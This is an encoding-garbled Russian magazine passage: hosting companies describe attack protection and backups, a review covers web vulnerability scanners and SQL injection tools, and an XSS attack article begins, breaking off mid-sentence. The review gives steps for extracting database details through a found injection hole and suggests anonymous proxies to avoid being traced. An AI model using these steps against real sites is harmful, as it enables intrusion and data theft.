PETERHOST.RU: Äëÿ ïðåäîòâðàùåíèÿ àòàê ó íàñ èñïîëüçóåòñÿ êîìïëåêñ èç ìîäèôèöèðîâàííûõ
Apache è MySQL è óñòàíîâëåííîãî ïåðåä âåá-ñåðâåðîì àêñåëåðàòîðà Nginx. Ìû ìîæåì îïðåäåëèòü, 
îòêóäà èäåò àòàêà, êóäà îíà íàïðàâëåíà è êàêîãî îíà ðîäà. Åñëè âûÿâëåíû ïîñòîÿííûå IP-àäðåñà 
àòàêóþùåãî áîòíåòà, îíè áëîêèðóþòñÿ íà óðîâíå Nginx èëè ñòîÿùåãî âûøå ìàãèñòðàëüíîãî óçëà. 
Â ñëó÷àå áûñòðîé ñìåíû àòàêóþùèõ IP ìû ìîæåì ñìåíèòü DNS-ñåðâåðû. Ìû íå èñïîëüçóåì àâòîìàòè-
÷åñêèå ñèñòåìû ïðåäîòâðàùåíèÿ àòàê, òàê êàê ñ÷èòàåì, ÷òî â ýòîì ñëó÷àå âîçìîæíû îøèáêè. 
Ìû äåòåêòèðóåì àòàêó àâòîìàòè÷åñêè, íî áîðåìñÿ ñ íåé «âðó÷íóþ». Ñóùåñòâóþùàÿ ñèñòåìà 
ìîíèòîðèíãà ïîçâîëÿåò îïåðàòèâíî îòñëåäèòü àòàêó è ñâîåâðåìåííî îòðåàãèðîâàòü íà íåå.
HOSTER.RU: Èñïîëüçóåì ñîáñòâåííûå ðàçðàáîòêè äëÿ îòñëåæèâàíèÿ è áëîêèðîâàíèÿ ïðîöåññîâ, 
ëèáî çàïðîñîâ ê ñåðâåðó.

SL.RU: Âèðòóàëüíûå âûäåëåííûå ñåðâåðû (VPS) ïîä Linux ðàáîòàþò íà îñíîâå òåõíîëîãèè Virtuozzo
èëè åå áåñïëàòíîãî àíàëîãà OpenVZ. Ïîä FreeBSD èñïîëüçóåì òåõíîëîãèþ jail. Äëÿ íåêîòîðûõ âèðòóàëü-
íûõ ñåðâåðîâ èñïîëüçóåì chroot. Ýòè òåõíîëîãèè ïîçâîëÿþò èçîëèðîâàòü àòàêóåìóþ ñèñòåìó îò îñòàëü-
íûõ è íå ìåøàòü ðàáîòå äðóãèõ VPS.
HOST-PPLANET.RU: Äëÿ êàæäîãî êëèåíòà íàñòðîåí ftp-jail òîëüêî íà åãî äîìàøíþþ äèðåêòîðèþ. 
Íî êàê òàêîâîãî chroot'a íåò, òàê êàê ìû ñ÷èòàåì, ÷òî â íåì áîëüøå íåäîñòàòêîâ, ÷åì äîñòîèíñòâ. 
Òåêóùàÿ ïîëèòèêà áåçîïàñíîñòè ñåðâåðîâ óäîâëåòâîðÿåò íàøèì çàïðîñàì áåç èñïîëüçîâàíèÿ
chroot.
KOSMOHOST.COM: Åñëè ãîâîðèòü î ñêðèïòàõ CGI, òî êàæäûé ñêðèïò çàïóñêàåòñÿ îò ñâîåãî ïîëüçîâà-
òåëÿ. Ñêðèïòû PHP çàïóñêàþòñÿ ïîñðåäñòâîì ïîëüçîâàòåëÿ web-ñåðâåðà Apache (PHP êàê ìîäóëü
Apache). Íà äàííûé ìîìåíò ìû ðàññìàòðèâàåì âàðèàíò ïåðåõîäà íà SuPHP, òî åñòü çàïóñê PHP êàê
CGI, ÷òî äîëæíî ïðèâåñòè ê ïîâûøåíèþ áåçîïàñíîñòè ñåðâåðîâ.
PETERHOST.RU: Êàæäûé ïîëüçîâàòåëü ðàáîòàåò ïîä ñâîåé ó÷åòíîé çàïèñüþ, ÷òî â ñî÷åòàíèè ñ ïðè-
ìåíÿåìîé ïîëèòèêîé ðàçãðàíè÷åíèÿ ïðàâ äîñòóïà èñêëþ÷àåò âîçìîæíîñòü ïðîñìîòðà è ìîäèôèêàöèè
ôàéëîâ äðóãèõ ïîëüçîâàòåëåé.
HOSTER.RU: Àíàëîã chroot.

SL.RU: Åæåäíåâíî â òå÷åíèå íåäåëè äåëàåòñÿ êîïèÿ èçìåíåíèé ôàéëîâ äàííûõ ïîëüçîâàòåëåé. 
Ðàç â íåäåëþ (êàê ïðàâèëî, â âûõîäíûå, â ïåðèîä íàèìåíüøåé íàãðóçêè) äåëàåòñÿ ïîëíûé backup 
è àðõèâèðîâàíèå âñåõ äàííûõ. Ôàéëû õðàíÿòñÿ ïî îäíîé êîïèè çà 1, 2 è 3 íåäåëè â òå÷åíèå 1, 2 è 3 
ìåñÿöåâ. Ïîëíûé backup � äîâîëüíî ðåñóðñîåìêèé è äëèòåëüíûé ïðîöåññ, òðåáóåò áîëüøèõ îáúåìîâ,
äëÿ êîòîðîãî òàêæå æåëàòåëüíî îñòàíàâëèâàòü íåêîòîðûå ïðîöåññû. Åæåäíåâíî äåëàòü ýòî äîâîëüíî
ñëîæíî, ïîýòîìó ìû îãðàíè÷èâàåìñÿ èçìåíåíèÿìè (â îñíîâíîì, ó ïîëüçîâàòåëåé â òå÷åíèå äíÿ ìåíÿåò-
ñÿ áàçà äàííûõ è íåáîëüøîå êîëè÷åñòâî ôàéëîâ, ïëþñ ïî÷òà). Òàêæå ïîëüçîâàòåëè ìîãóò ñàìîñòîÿòåëü-
íî èç ïàíåëè óïðàâëåíèÿ ñäåëàòü backup ó íàñ íà ñåðâåðå â ëþáîå óäîáíîå äëÿ íèõ âðåìÿ.
HOST-PPLANET.RU: Åæåäíåâíî.
KOSMOHOST.COM: Ðåçåðâíîå êîïèðîâàíèå äàííûõ ïðîèçâîäèòñÿ êàæäóþ íî÷ü, êîãäà îñíîâíàÿ ÷àñòü
ñàéòîâ ìàëî ïîñåùàåòñÿ èëè íå ïîñåùàåòñÿ âîîáùå.
PETERHOST.RU: Êîïèðîâàíèå ïðîèñõîäèò ðàç â ñóòêè, áýêàïû õðàíÿòñÿ îò 2 äî 7 äíåé.
HOSTER.RU: Ðåçåðâíîå êîïèðîâàíèå ñàéòîâ êëèåíòîâ ïðîèñõîäèò åæåäíåâíî. Íàñòðîéêè ñåðâåðîâ 
áåêàïèðóþòñÿ ïî ìåðå âíåñåíèÿ èçìåíåíèé â ñèñòåìó.
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ççààïïààõõ 
ïïððîîïïààññòòèè
Îáçîð ïðîãðàìì ïîèñêà óÿçâèìîñòåé íà ñàéòå 

×ÅËÎÂÅÊ � ÑÓÙÅÑÒÂÎ ÏÎ ÑÂÎÅÉ ÑÓÒÈ ËÅÍÈÂÎÅ, È ÁÎËÜØÈÍÑÒÂÎ ÏÎËÅÇÍÎÑÒÅÉ Â ÝÒÎÌ ÌÈ-
ÐÅ ÏÎßÂÈËÎÑÜ ÈÌÅÍÍÎ ÈÇ-ÇÀ ËÅÍÈ È ÄËß ÎÁËÅÃ×ÅÍÈß ÆÈÇÍÈ. Â ÒÀÊÎÌ ÐÀÇÐÅÇÅ ËÅÍÜ �
ÝÒÎ ÍÅ ÇËÎ, ÝÒÎ ÏÐÎÃÐÅÑÑ, È ÏÐÎÈÇÂÎÄÈÒÅËÜÍÎÑÒÜ ÒÐÓÄÀ ÎÒ ÏÎÄÎÁÍÛÕ «ËÅÍÈÂÛÕ»
ÈÇÎÁÐÅÒÅÍÈÉ ÏÎÂÛØÀÅÒÑß. ×ÒÎÁÛ ÍÅ ÈÑÊÀÒÜ ÎØÈÁÊÈ ÍÀ WEB-ÑÒÐÀÍÈÖÀÕ ÐÓÊÀÌÈ, «ËÅÍ-
ÒßÈ» ÑÎÇÄÀËÈ ÌÍÎÆÅÑÒÂÎ ÏÐÎÃÐÀÌÌ, ÊÎÒÎÐÛÅ ÌÎÃÓÒ ÏÐÎÂÅÐÈÒÜ ÑÀÉÒ ÍÀ ÓßÇÂÈÌÎÑÒÈ
È ÏÐÎÑÈÃÍÀËÈÇÈÐÎÂÀÒÜ, ÅÑËÈ ÍÀÉÄÅÍÎ ×ÒÎ-ÒÎ ÏÎÄÎÇÐÈÒÅËÜÍÎÅ. ÏÎÏÐÎÁÓÅÌ ÐÀÇÎÁ-
ÐÀÒÜÑß, ÒÀÊ ËÈ ÝÔÔÅÊÒÈÂÍÛ ÏÎÄÎÁÍÛÅ ÓÒÈËÈÒÛ.

Ôëåíîâ Ìèõàèë àka Horrific 
www.vr-online.ru 

Îòêóäà áåðóòñÿ îøèáêè? Ìîæíî âûäåëèòü äâå îñ-
íîâíûå ïðîáëåìû: ïëîõîå îáðàçîâàíèå è ÷åëîâå-
÷åñêèé ôàêòîð. Òîòàëüíàÿ íåõâàòêà ïðîãðàììèñ-
òîâ ëåò ïÿòü íàçàä ñòàëà ïðåâðàùàòü â êîäåðîâ
âñåõ ïîäðÿä. Ëàäíî, ÷åëîâåê ñòàë ïðîãðàììèñòîì
áåç ñïåöèàëüíîãî îáðàçîâàíèÿ, íî íàäî æå ó÷èòü-
ñÿ, ñîâåðøåíñòâîâàòüñÿ, à íå «ïðîñèæèâàòü» ðàáî-
÷åå ìåñòî çà áîëüøóþ çàðïëàòó! Ñåé÷àñ â Åâðîïå
è ÑØÀ ñ êîäèíãîì ïîïðîùå: ñòàëè èñïîëüçîâàòü
îôôøîð è îòêðûëè êó÷ó ïðåäñòàâèòåëüñòâ â ñòðà-
íàõ, ãäå ïðîãðàììèñòîâ õâàòàåò, íî êà÷åñòâî êîäà,
ñîçäàâàåìîãî â îôôøîðå è ïðåäñòàâèòåëüñòâàõ,
âñå æå îñòàâëÿåò æåëàòü ëó÷øåãî.

Âñå ìû «÷åëîâåêè», è âñå ìû îøèáàåìñÿ,
è èìåííî ÷åëîâå÷åñêèé ôàêòîð ÿâëÿåòñÿ âòîðîé

çíà÷èìîé ïðîáëåìîé è ïðè÷èíîé ïîëîâèíû îøè-
áîê. Äàæå ïðîôåññèîíàëû ìîãóò îøèáàòüñÿ â àá-
ñîëþòíî î÷åâèäíûõ ñèòóàöèÿõ. ×èñòî ìàøèíàëüíî
ìîæíî ïîñòàâèòü íå òîò ñèìâîë èëè èç-çà íåâíè-
ìàòåëüíîñòè çàáûòü ñäåëàòü ïðîâåðêó.

Èñêàòü îøèáêè âðó÷íóþ íå òàê óæ è ñëîæíî,
íî äîñòàòî÷íî óòîìèòåëüíî, è ïîýòîìó ïðîãðàì-
ìèñòû íå ëþáÿò òùàòåëüíî òåñòèðîâàòü ñâîå òâî-
ðåíèå, íàäåÿñü íà ïðàâèëüíîñòü êîäà è âñåìîãó-
ùèé àâîñü. À íàäåæäà, êàê ãîâîðèòñÿ, óìèðàåò ïîñ-
ëåäíåé, òî÷íåå, ñðàçó ïîñëå âçëîìà. Åñëè ïåðåô-

ðàçèðîâàòü äåäóøêó Ëåíèíà, òî íóæíî òåñòèðî-
âàòü, òåñòèðîâàòü è åùå ðàç òåñòèðîâàòü ïîñëå
êàæäîãî èçìåíåíèÿ êîäà.

Òàê íóäíî ïðîñìàòðèâàòü âñå ñòðàíèöû è âñå
ïàðàìåòðû� Íî íàäî, Âàñÿ, íàäî! Ïðè÷åì èìåííî
ïîñëå êàæäîãî èçìåíåíèÿ êîäà, äàæå íåçíà÷è-
òåëüíîãî. Òåñòèðîâàòü íóæíî àáñîëþòíî âñå, âåäü
èçìåíåíèå â îäíîì ñöåíàðèè èëè íàñòðîéêàõ â áà-
çå äàííûõ ìîæåò ïðèâåñòè ê îøèáêå ñîâåðøåííî
â íåîæèäàííîì ìåñòå è íà òîé ñòðàíèöå, ñöåíàðèé
êîòîðîé íå áûë èçìåíåí.
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CyD NET Utils � íàáîð
ñåòåâûõ óòèëèò äëÿ îá-
ëåã÷åíèÿ ñîáñòâåííîé
æèçíè. Íåäàâíî â ïðîã-
ðàììå ïîÿâèëñÿ íîâûé
ìîäóëü � Security Test,
êîòîðûé ïîçâîëÿåò 
òåñòèðîâàòü ñåðâåð íà
íàèáîëåå ïîïóëÿðíûå
óÿçâèìîñòè. Íà äàííûé
ìîìåíò web-ñàéòû òåñ-
òèðóþòñÿ íà SQLInjection,
XSS, PHP-èíêëóäèíã
è òîìó ïîäîáíûå óïó-
ùåíèÿ â êîäå. Àëãîðèòì
ïîèñêà ïîêà íå èäåà-
ëåí, íî ïîñòîÿííî ñî-
âåðøåíñòâóåòñÿ � îá-
íîâëåíèÿ âûêëàäûâà-
þòñÿ êàæäûé ìåñÿö.

Ïðîãðàììà ìîæåò
ðàáîòàòü êàê íàïðÿìóþ
ñ èíòåðíåòîì, òàê è ÷å-
ðåç proxy-ñåðâåð. Ïðè
ýòîì íàñòðîéêè proxy
ìîæíî ñîõðàíèòü ãëî-
áàëüíî äëÿ âñåõ òåñòîâ
ïðîãðàììû èëè âûá-
ðàòü èíäèâèäóàëüíî äëÿ
êàæäîãî êîíêðåòíîãî,
ê ïðèìåðó, åñëè õî÷åøü
ñäåëàòü òåñò ÷åðåç àíî-
íèìíûé ïðîêñè, ÷òîáû
òåáÿ íèêòî íå âû÷èñëèë.

Äëÿ òåñòà ïðîãðàì-
ìû ïðîâåðèì ñàéò
www.apahelpcenter.org. Çà-
ïóñòè ïðîãðàììó è âû-

áèðàé â ìåíþ
«File!Security test».
Â ïîÿâèâøåìñÿ îêíå
íàæèìàåøü êíîïêó
«Test web server», îíà
ïåðâàÿ íà ïàíåëè
èíñòðóìåíòîâ îêíà
«Security test». Ïåðåä
òîáîé ïîÿâèòñÿ îêíî,
ãäå íóæíî óêàçàòü URL
ñàéòà, êîòîðûé íåîáõî-
äèìî ïðîòåñòèðîâàòü,
è íàñòðîéêè ñîåäèíåíèÿ
(ïðÿìîé êîííåêò èëè
÷åðåç ïðîêñè-ñåðâåð).
Â êà÷åñòâå URL óêàçûâà-
åì www.apahelpcenter.org
è íàæèìàåì OK. Ïîíåñ-
ëàñü. Õîòÿ àëãîðèòì
íå ñèëüíî íàïðÿãàåò
òðàôèê, õîðîøàÿ ñêî-
ðîñòü æåëàòåëüíà.

Òåðïåíèÿ è æåëàíèÿ
ó íàñ õâàòèëî íà òåñòè-
ðîâàíèå ïÿòè ñöåíàðè-
åâ è â òðåõ èç íèõ íàé-
äåíû óÿçâèìîñòè
SQL Injection. Àâòîðû,
íàâåðíîå, âîîáùå
íå çàäóìûâàëèñü 
î áåçîïàñíîñòè. 
Ïî çàâåðøåíèè ñêàíè-
ðîâàíèÿ ïðîãðàììà
ïðåäëàãàåò íåáîëüøîé
îò÷åò î ïðîäåëàííîé
ðàáîòå è ññûëêè 
â Ñåòè ñ îïèñàíèåì
íàéäåííûõ îøèáîê
ñ âàðèàíòàìè 
èõ èñïðàâëåíèÿ
(åñëè ó òåáÿ íåò 
ïðîáëåì ñ àíãëèéñêèì,
òî ýòî îïèñàíèå ìîæåò
ïðèãîäèòüñÿ).

Íà äàííûé ìîìåíò
ïðîãðàììà èùåò îøèá-
êè â ñöåíàðèÿõ íà PHP
è ASP. Â áëèæàéøåå
âðåìÿ áóäåò äîáàâëåí
Macromedia Cold
Fusion. Îøèáêè â ñöå-
íàðèÿõ Perl ïîêà äîáàâ-
ëÿòü íå ïëàíèðóåòñÿ, �
ñ òî÷êè çðåíèÿ web-êî-
äèíãà ýòîò ÿçûê ïîñòå-
ïåííî âûìèðàåò.
Ïî êðàéíåé ìåðå, êîëè-
÷åñòâî ñàéòîâ, íàïè-
ñàííûõ íà íåì, ñîêðà-
ùàåòñÿ, à íîâûå ïðàê-
òè÷åñêè íå ïîÿâëÿþòñÿ.

Ðàçðàáîò÷èêîì ïðîã-
ðàììû ÿâëÿåòñÿ ðàñê-
ðó÷åííàÿ Acunetix 
(â íåäàâíåì âðåìåíè �
ìàëîèçâåñòíàÿ). Ðåêëà-
ìó ýòîé ïðîãðàììû 
äîâîëüíî ÷àñòî ìîæíî
âñòðåòèòü â Google ads.

Â òðèàëüíîé âåðñèè
äîçâîëåíî òåñòèðîâàòü
òîëüêî ñàéòû
testphp.acunetix.com, 
testasp.acunetix.com
è testaspnet.acunetix.com.
Îíè ñîçäàíû êîìïàíè-
åé ñïåöèàëüíî äëÿ òåñ-
òèðîâàíèÿ ïðîãðàììû,
íî íå ôàêò, ÷òî íà äðó-
ãèõ ñåðâåðàõ äàííûé
ñêàíåð áåçîïàñíîñòè
ïîêàæåò òàêèå æå ðå-
çóëüòàòû ñêàíèðîâà-
íèÿ è íàéäåò õîòÿ áû
ïîëîâèíó îøèáîê. 
Àëãîðèòì ïîèñêà 
íàì íå èçâåñòåí, 
à ðàçðàáîò÷èê åãî 
íå àôèøèðóåò. Òàê ÷òî
ðåàëüíî ïðîâåðèòü 
êà÷åñòâî òåñòèðîâàíèÿ
íåâîçìîæíî: áóäåì 
îòòàëêèâàòüñÿ îò òîãî,
÷òî èçâåñòíî è äîñòóïíî.

Vulnerability Scanner
ïîçâîëÿåò èñêàòü îøèá-
êè â ñöåíàðèÿõ íà ÿçû-
êàõ PHP, ASP
è ASP.NET. Ïîìèìî

ýòîãî, ïðîãðàììà 
ìîæåò ïðîâåðÿòü íà
îøèáêè JavaScript-ñöå-
íàðèè, ÷òî ñìåëî îòíî-
ñèì ê ïðåèìóùåñòâàì.
Ìîæíî òåñòèðîâàòü
íå òîëüêî íàïðÿìóþ,
íî è ÷åðåç HTTP èëè
SOCKS ïðîêñè-ñåð-
âåð � äëÿ îáåñïå÷åíèÿ
àíîíèìíîñòè.

Èòàê, ÷òî èìååì íà
âûõîäå: áîãàòûå,
íî íå ïîäòâåðæäåííûå
áîåâûìè òåñòàìè âîç-
ìîæíîñòè; êðàñèâûé è
óäîáíûé èíòåðôåéñ; ïî-
èñê óÿçâèìîñòåé XSS,
SQL Injection, PHP-èíê-
ëþäèíã, ïîèñê õàêåðñ-
êèõ çàïðîñîâ ïî áàçå
Google, îáõîä êàòàëîãà,
crlf-injection, îáùåäîñ-
òóïíûå ðåçåðâíûå êî-
ïèè ñöåíàðèåâ; õîðî-
øàÿ ñëóæáà ïîääåðæêè,
êîòîðàÿ âñåãäà îòâå÷à-
åò, íî íå âñåãäà âîâðå-
ìÿ (íà íàøè âîïðîñû
ðàçðàáîò÷èêè îòâåòèëè
÷åðåç òðè äíÿ, ïðàâäà,
äâà èç íèõ áûëè âûõîä-
íûìè).

Åñëè ó òåáÿ åñòü
ëèøíèå 350 áàêñîâ,
òî ìîæåøü êóïèòü
ïðîãðàììó è þçàòü 
íà çäîðîâüå.

Acunetix Web 
Vulnerability
Scanner

www.acunetix.com

shareware

$349

CyD NET Utils

www.cydsoft.com

shareware

äëÿ Ðîññèè 300 ðóá
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Ýòà óòèëèòà íå èùåò
îøèáêè íà ñàéòå, à èñ-
ïîëüçóåò èõ äëÿ ïîëó÷å-
íèÿ îïðåäåëåííîé èí-
ôîðìàöèè î ñåðâåðå/áà-
çå äàííûõ. Îíà ïîìîãà-
åò óçíàòü âåðñèþ ñåðâå-
ðà ÁÄ, åå èìÿ, ïîëüçîâà-
òåëÿ, ïîäîáðàòü èìåíà
òàáëèö è ïîëåé ÷åðåç
óæå íàéäåííóþ óÿçâè-
ìîñòü. Íåêîòîðûå ëþáÿò
ïîâòîðÿòü, ÷òî ÷åðåç
íàéäåííóþ óÿçâèìîñòü
è îáåçüÿíà ñìîæåò óç-
íàòü âñþ èíôîðìàöèþ.
Íî ïî÷åìó áû íå îáëåã-
÷èòü ñåáå òðóä?

Åñëè íàøåë óÿçâèìûé
url, íî íå çíàåøü, êàê 
èì âîñïîëüçîâàòüñÿ,
çàãðóæàé SQL Injection
tools:

1  Ââåäè url c ïàðà-
ìåòðàìè, íàïðèìåð
www.target.com/in-
dex.php?id=123. Óÿçâè-
ìûé ïàðàìåòð îáÿçà-
òåëüíî äîëæåí 
áûòü ïîñëåäíèì 
â url � «id=123».

2  Â ïîëå «÷òî èùåì»
ââåäè êóñîê òåêñòà 
èëè ñëîâî, êîòîðîå
îòîáðàæàåòñÿ, åñëè
çàãðóçèòü, íàïðèìåð,
www.target.com/in-
dex.php?id=123,
è íå îòîáðàæàåòñÿ, 
åñëè çàãðóçèòü www.tar-
get.com/index.php?id=123'.

3  Äàëüøå âñå ÿñíî,
êíîïêè ãîâîðÿò ñàìè
çà ñåáÿ.

Óòèëèòà ïîçâîëÿåò
ñåðüåçíî ñýêîíîìèòü
âðåìÿ, � íóæíî òîëüêî
ñîçäàòü õîðîøèé ñëîâà-
ðèê è ñêîðìèòü åãî
SQL Injection tools.

SQL Injection Tools

SQLHacK

Õàëÿâà

Ýòà ïðîãðàììà íàïèñà-
íà íàøèì ñîîòå÷åñò-
âåííèêîì íà Perl, è åå
ëþáèìàÿ ñðåäà � Linux.
Èùåò SQL/PHP-Injection
(â òîì ÷èñëå, è â èñõîä-
íèêàõ), XSS ÷åðåç web,
à òàêæå èìååò íåáîëü-

øîé CGI-ñêàíåð. Ê ñî-
æàëåíèþ, îãðàíè÷åí-
íîñòü îäíèì òîëüêî
ÿçûêîì PHP îòêðûâàåò
íå î÷åíü øèðîêîå ïîëå
áîåâûõ äåéñòâèé, íî õî-
ðîøèé àíàëèçàòîð ïå-
ðåáèâàåò íåäîñòàòîê.

n4n0bit

http://n4n.cup.su/

freeware

n4n0bit

Ýòî íå ïðîñòî ïðîãðàì-
ìà äëÿ ñêàíèðîâàíèÿ,
ýòî ïðîêñè-ñåðâåð, 
íàïèñàííûé íà Java
ñ ïðîäâèíóòûìè 
âîçìîæíîñòÿìè 
äëÿ àíàëèçà.

Ïîñëå çàãðóçêè
Paros ñîçäàåò íà òâîåé
ìàøèíå ïðîêñè.
Ïî óìîë÷àíèþ îí ðàáî-
òàåò íà 8080 ïîðòå. 
Çàïóñêàåøü áðàóçåð 
è èäåøü â ñâîéñòâà.
Óñòàíîâè ðàáîòó ÷åðåç
ïðîêñè, óêàæè ëîêàëü-
íóþ ìàøèíó 127.0.0.1
è ïîðò 8080. Òåïåðü
ìîæåøü ðàáîòàòü 
ñ èíòåðíåòîì, à â ýòî
âðåìÿ Paros áóäåò 
ñêàíèðîâàòü îòêðûâàå-
ìûå ñàéòû íà íàëè÷èå
óÿçâèìîñòåé. Òîëüêî

ïðèãîòîâüñÿ ïîòåðÿòü
óéìó òðàôèêà: êóøàåò
Paros ñ àïïåòèòîì
(äëÿ òåõ, êòî ñèäèò 
íà áåçëèìèòêå,
ýòî íå òàê êðèòè÷íî).

Ïðîãðàììà ïîçâîëÿ-
åò ìîäèôèöèðîâàòü
çàïðîñû ê ñåðâåðó,
èìååò êó÷ó ôèëüòðîâ,
ìîæåò ðàáîòàòü ÷åðåç
óäàëåííûé ïðîêñè, îá-
ëàäàåò õîðîøèìè âîç-
ìîæíîñòÿìè æóðíàëè-
ðîâàíèÿ, íî àíàëèçàòîð
åùå ñûðîé. ßâíûé 
íåäîñòàòîê � îòêðî-
âåííî óáîãèé è íåóäîá-
íûé èíòåðôåéñ.

Îòëè÷íî ïîäîéäåò
äëÿ àíàëèçà ïàêåòîâ,
íî äëÿ àâòîìàòè÷åñêî-
ãî ïîèñêà óÿçâèìîñòåé
íå ðåêîìåíäîâàë áû.

Paros

parosproxy.org

Õàëÿâà

èòîãî. Ìû ïîêàçàëè ðàçíîïëà-
íîâûå ïðîãðàììû. Íî èíôîðìàöèÿ
áûñòðî óñòàðåâàåò, ïîÿâëÿþòñÿ íî-
âûå óòèëèòû, à íåêîòîðûå èç ñòàðûõ
ìîãóò «óìèðàòü».

Íî ïîìíè � ïðîãðàììû àâòî-
ìàòèçàöèè íå ìîãóò äàòü ãàðàíòèè,
÷òî íåò óÿçâèìîñòè íà ñåðâåðå.
Â áîëüøèíñòâå ñëó÷àåâ îíè íàõî-
äÿò îòêðîâåííûå ëÿïû, îñîáåííî
êîãäà âêëþ÷åíû ñîîáùåíèÿ îá
îøèáêàõ. Íî åñëè îøèáêè íå âûâî-
äÿòñÿ è íåêîòîðûå ñèìâîëû âñå æå

ôèëüòðóþòñÿ, àâòîìàòè÷åñêèé òåñò
ìîæåò íè÷åãî íå äàòü. À âîò îáõîä
ôèëüòðîâ âðó÷íóþ ìîæåò áûòü êóäà
áîëåå ðåçóëüòàòèâíûì.

Ñ äðóãîé ñòîðîíû, «áûñòðûé»
òåñò ïîçâîëÿåò ïîíÿòü, ñìîãóò ëè
äàííûé ñàéò âçëîìàòü íà÷èíàþ-
ùèå, ìàëîîïûòíûå «õàêåðû» ñ íà-
áîðîì ÷óæèõ ïðîãðàìì. Íåñìîòðÿ
íà îòñóòñòâèå 100% ðåçóëüòàòà, ðå-
êîìåíäóåì èñïîëüçîâàòü ïðåäñòàâ-
ëåííûå ïðîãðàììêè äëÿ ýêñïðåññ-
àíàëèçà.
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êêëëþþ÷÷ 
êêîî ììííîîããèèìì
ääââååððÿÿìì
XSS
ÂÎ ÌÍÎÃÈÕ XSS ÓÆÅ ÄÀÂÍÎ ÍÅÒ 
ÍÈÊÀÊÎÃÎ ÊÐÎÑÑ-ÑÀÉÒÎÂÎÃÎ 
È ÒÅÌ ÁÎËÅÅ ÓÆ ÑÊÐÈÏÒÈÍÃÀ. 
ÍÀ ÑÀÌÎÌ ÄÅËÅ ÂÑÅ ÏÐÎÑÒÎ � 
ËÞÁÀß ÂÎÇÌÎÆÍÎÑÒÜ ÂÎÇÄÅÉÑÒÂÈß
ÍÀ (ÈËÈ ÂÇÀÈÌÎÄÅÉÑÒÂÈß Ñ, ÈËÈ 
ÏÐÎÑÒÎ ÏÅÐÅÄÀ×È ÈÍÔÎÐÌÀÖÈÈ Ê È ÎÒ)
ÓÄÀËÅÍÍÎÃÎ ÏÎËÜÇÎÂÀÒÅËß, 
ÎÑÓÙÅÑÒÂËßÅÌÀß ×ÅÐÅÇ ÓßÇÂÈÌÛÉ 
ÑÀÉÒ ÓÄÀËÅÍÍÛÌ ÕÀÊÅÐÎÌ, È ÁÓÄÅÒ XSS.
ÇÍÀÞÙÈÅ ËÞÄÈ ÓÒÂÅÐÆÄÀÞÒ, 
×ÒÎ ÏÐÀÂÈËÜÍÀß ÐÀÑØÈÔÐÎÂÊÀ 
XSS � ÕÀÊÅÐÓ ÑÄÀÂØÈÉÑß ÑÀÉÒ.

Dr. Maxim Orlovsky (www.arhont.com)

â ââàøåì ààëêîãîëå êêðîâè ííå îîáíàðóæåíî. Òè-
ïè÷íàÿ XSS-àòàêà ñîñòîèò èç ñëåäóþùèõ ñòàíäàðò-
íûõ ýòàïîâ:

1  ÏÎÈÑÊÀ ÓßÇÂÈÌÎÑÒÈ;

2  ÂÛÁÎÐÀ ÌÅÒÎÄÀ ÏÅÐÅÄÀ×È 
ÈÍÔÎÐÌÀÖÈÈ ÈËÈ ÂÎÇÄÅÉÑÒÂÈß
ÍÀ ÏÎËÜÇÎÂÀÒÅËß ×ÅÐÅÇ XSS-ÂÅÊÒÎÐ;

3  ÑÎÇÄÀÍÈß ÄÎÏÎËÍÈÒÅËÜÍÛÕ 
ÈÍÑÒÐÓÌÅÍÒÎÂ ÄËß ÏÎÄÄÅÐÆÊÈ
XSS-ÏÐÎÊÑÈ, ÓÄÀËÅÍÍÎ ÐÀÇÌÅÙÅÍ-
ÍÛÕ ÔÀÉËÎÂ È ÏÐÎ×ÅÃÎ;

4  ÏÎÈÑÊÀ ÑÏÎÑÎÁÀ ÐÀÑÏÐÎÑÒÐÀÍÅÍÈß
XSS-ÂÅÊÒÎÐÀ;

5  ÑÎÑÒÀÂËÅÍÈß ÝÔÔÅÊÒÈÂÍÎÃÎ
XSS-ÂÅÊÒÎÐÀ;

6  ÓÌÅËÎÃÎ ÝÊÑÏËÓÀÒÈÐÎÂÀÍÈß 
ÏÎËÓ×ÅÍÍÛÕ ÄÀÍÍÛÕ.

Ïîïûòàåìñÿ äåòàëüíî ðàçîáðàòü îáùóþ èäåîëî-
ãèþ, êëàññèôèêàöèþ è äàòü ýâðèñòè÷åñêèé àëãî-
ðèòì ñîâðåìåííûõ XSS-àòàê � òàê ñêàçàòü, îñóùå-
ñòâèòü ïîëíîå ïðåïàðèðîâàíèå êðîññ-ñàéòîâîãî
ñêðèïòèíãà.

êëàññèôèêàöèÿ � ââñêðûòèå ïïîêàçàëî, ÷÷òî
ñàéò óóìåð îîò �� XXSS. XSS-àòàêè äðóã îò äðóãà îòëè-
÷àåò ñïîñîá (à òî÷íåå ñêàçàòü, ìîäåëü) ïåðåäà÷è
äàííûõ ìåæäó êëèåíòîì, ñåðâåðîì è õàêåðîì. Â öå-
ëîì íà íàñòîÿùèé ìîìåíò èçâåñòíî òðè îñíîâíûõ
ìîäåëè.

1 XSS DOM. Â ýòîé ìîäåëè óÿçâèìîñòü ñàéòà çà-
êëþ÷àåòñÿ â òîì, ÷òî íå ñåðâåðíûé ñêðèïò, à èìåí-
íî êëèåíòñêèé JavaScript èçâëåêàåò äàííûå èç URL
ñòðàíèöû è âíåäðÿåò èõ â HTML ñòðàíèöû ÷åðåç
îáúåêòû Document Object Model (DOM, îòñþäà è
íàçâàíèå ìîäåëè àòàêè). Èòàê, óÿçâèìîñòü ñàéòà íà-
õîäèòñÿ â HTML � èëè JavaScript-ôàéëàõ, è ñòîèò

ïîëüçîâàòåëþ îòêðûòü ññûëêó, ñîäåðæàùóþ XSS-
âåêòîð õàêåðà, êàê ñîäåðæèìîå ñòðàíèöû áóäåò èç-
ìåíåíî è â íåå óæå íåïîñðåäñòâåííî íà ìàøèíå
êëèåíòà áóäåò âíåäðåí êîä èç òåëà âåêòîðà. 

Äàííàÿ ìîäåëü àòàêè ïî ñâîåìó ðåçóëüòàòó è
ñïîñîáó ïîñòðîåíèÿ âåêòîðà ïîëíîñòüþ àíàëîãè÷íà
êëàññè÷åñêîé XSS-àòàêå (îíà èäåò ñëåäóþùèì
ïóíêòîì). Åäèíñòâåííîå ÷òî, âñòðå÷àåòñÿ îíà äîñòà-
òî÷íî ðåäêî. Îäíàêî åñëè õàêåð íå ìîæåò âçëîìàòü
ñêðèïòû ñåðâåðà è íàéòè â íèõ äûðó, îí îáÿçàòåëü-
íî ïðî÷òåò âåñü JavaScript-êîä (áëàãî îí âñåãäà äî-
